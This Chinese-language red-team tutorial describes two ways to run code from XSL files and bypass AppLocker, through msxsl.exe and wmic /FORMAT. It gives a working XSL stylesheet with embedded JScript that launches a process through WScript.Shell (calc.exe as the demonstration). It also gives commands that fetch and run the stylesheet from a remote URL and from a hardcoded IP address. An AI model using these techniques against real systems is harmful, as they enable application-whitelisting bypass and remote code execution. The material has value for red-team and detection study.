XSL
指扩展样式语言(Extensibel Style Language
)。万维网联盟(W3C
)开始发展XSL
的原因是:存在着对于基于XML的样式表语言的需求。在红蓝对抗中,使用XSL
文件执行恶意代码有时可以帮助我们绕过APPLocker
。下面介绍两种利用手段。
命令执行
技术复现(msxsl.exe)
msxsl.exe
是微软用于命令行下处理XSL的一个程序,通过它我们可以执行XSL内的JavaScript进而执行系统命令。
下载地址:https://www.microsoft.com/en-us/download/confirmation.aspx?id=21714。
msxsI
命令行接收形为msxsl.exe {xmlfile} {xslfile}
的参数。由于XSL
算是一种特殊的XML
,我们可以使用msxsl.exe {xslfile} {xslfile}
调用xsl
文件内的命令。
<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="https://www.dbappsecurity.com.cn">
<msxsl:script language="JScript" implements-prefix="user">
function xml(nodelist){
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
return nodelist.nextNode().xml;
}
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xml(.)"/>
</xsl:template>
</xsl:stylesheet>
本地执行
msxsl.exe Ail.xsl Ail.xsl
远程执行
msxsl.exe http://xxx/Ail.xsl http://xxx/Ail.xsl
技术复现
wmic
可以通过形如:wmic.exe {wmic_command} /FORMAT:{xsl_file}
的方式执行xsI
内的恶意代码。{wmic command
内可以填写任意的wmic
可执行的命令}
本地执行
wmic process get name /format:Ail.xsl
远程执行
wmic process get name /format:"http://104.243.21.177/Ail.xsl"